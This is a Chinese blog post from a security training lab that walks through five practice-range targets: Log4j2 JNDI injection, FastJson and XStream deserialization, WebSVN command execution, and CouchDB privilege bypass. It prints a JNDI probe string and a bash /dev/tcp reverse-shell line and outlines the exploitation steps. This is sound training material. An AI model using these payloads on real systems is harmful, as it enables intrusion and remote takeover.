【揭秘一】练武靶场（文末有福利！）-CSDN博客

本文链接：https://blog.csdn.net/shuteer_xu/article/details/144120701

Taoing

“MS08067实验室，专注于网络安全技能培训与服务。"

号外号外，"Ms08067练武场" 最强劲的第一批选手打靶思路来啦。

官网链接：http://attck.ms08067.com/

Part1

log4j2，⽬标站点：http://27.25.151.24:29458/hello?payload=111

访问站点后,发现参数payload为可控点后, 对该参数进行黑盒测试

尝试JNDI注入时, 语句为：${jndi:dns://teg756.dnslog.cn}

得到dnslog回显记录, 说明目标服务器存在JNDI漏洞, 并且可出网

使用JNDI-Injection-Exploit.jar工具生成反弹shell ：
(反弹语句：bash -i >& /dev/tcp/xx..xx.88/10001 0>&1)

在攻击机上监听10001端口后, 将JNDI-Exploit生成反弹shell发送给服务器

攻击机得到目标bash

获取环境变量得到flag{b423788e-d7b7-4e1abd58-9e73b447d575}

Part2

测试目标：目标站点：http://27.25.151.24:23953/
漏洞发现：FastJson 反序列化漏洞访问漏洞所在URL后, 服务器返回了数据信息, 并且通过标题图标获得服务器是Java语言SpringBoot框架开发的Web程序

浏览器中按快捷键F12调出开发者⼯具, 在标签中选择网络, 重新访问⻚面服务器响的Content-Type, 知道了目标服务器发送过来的是⼀串json数据

Java中, 处理Json数据⼀般使用的框架：Jackson、Fastjson 等尝试对其Java框架中, 处理Json数据的组件进行黑盒测试。经过测试多种组件的payload后, 发现存在FastJson反序列化漏洞CVE-2017-18349
(1) 构造⼀个请求DNS的Payload发送给服务器后, dnslog中可以看到目标服务器出网

(2)在攻击机上使用JNDI-Injection-Exploit工具生成JNDI反弹shell, nc进行监听10001端口

(3) 发送 Payload 给服务器后, 攻击机的JNDI注入工具得到回连信息

(4) ⽬标服务器成功将Shell反弹到nc, 获取ﬂag

Part3

测试目标：http://27.25.151.24:25021
漏洞发现：WebSVN 命令执行
漏洞所在URL：

http://27.25.151.24:25021/search.php?repname=test&search=test

漏洞参数：search

WebSVN 命令执行复现过程：
(1) 尝试对search参数进行SQL注入时, 发现命令执行的报错提示

(2) 既然search参数是作为命令执行的输入, 可以构造如下payload进行测试, 成功出网

(3)目标服务器可以出网则构造反弹shell的payload, 且攻击机上监听10001端口

(4) nc获得反弹shell, 使用export命令获取系统环境变量, 取得ﬂag

Part4

目标站点：http://27.25.151.24:23531
漏洞发现：xstream 反序列化漏洞
漏洞所在URL：http://27.25.151.24:23531
首先访问⻚面, 看到返回信息提示 hello, input your information please

BurpSuite抓包后, 将原先的GET方法替换为POST方法, 得到了服务器500状态码信息，可收集到的信息：

1.报错⻚面的信息：Whitelabel Error Page 这是SpringBoot框架的报错⻚面(后端Java开发)
2.Java后端Web语⾔中可能存在使用了数据处理的组件, 例如：xstream、fastjson 等，经过测试多种组件的payload后，发现存在Xstream反序列化漏洞(CVE-2021-21351)
(1)在攻击机上使用JNDI-Injection-Exploit工具生成JNDI反弹shell, nc进行监听10001端口

(2) POST请求体中发送 Payload 给服务器后, 攻击机JNDI注入工具得到回连信息

(3) 目标服务器成功将Shell反弹到nc, 拿下ﬂag

Part5

目标站点：http://27.25.151.24:23385/
漏洞发现：
(1) Couchdb 特殊目录"_utils"泄露
漏洞所在URL：http://27.25.151.24:23953/_utils/

(2) Couchdb 垂直权限绕过
访问http://27.25.151.24:23385/⻚面后, 服务器返回了类似接口的数据信息

浏览器F12进入开发者模式看到Couchdb数据库的版本的信息，结合Title图标样式, 可以确定是Couchdb数据库

CVE-2017-12635 复现过程：
(1).使用nmap对目标CouchDB非默认端口23385进行扫描, 进一步确定是CouchDB数据库

(2). 尝试向服务器发送json形式的payload, 以创建数据库用户

(3). 数据库接口成功返回用户创建成功的信息
Couchdb 任意命令执行：
通常 CVE-2017-12635 漏洞进行联合的就是 CVE-2017-12636，CVE-2017-12636 需要管理员权限的账户才能进行利用
CVE-2017-12636 复现过程：
(1) 尝试发送Payload给服务器后, 成功返回创建数据库、创建表、插入数据的信息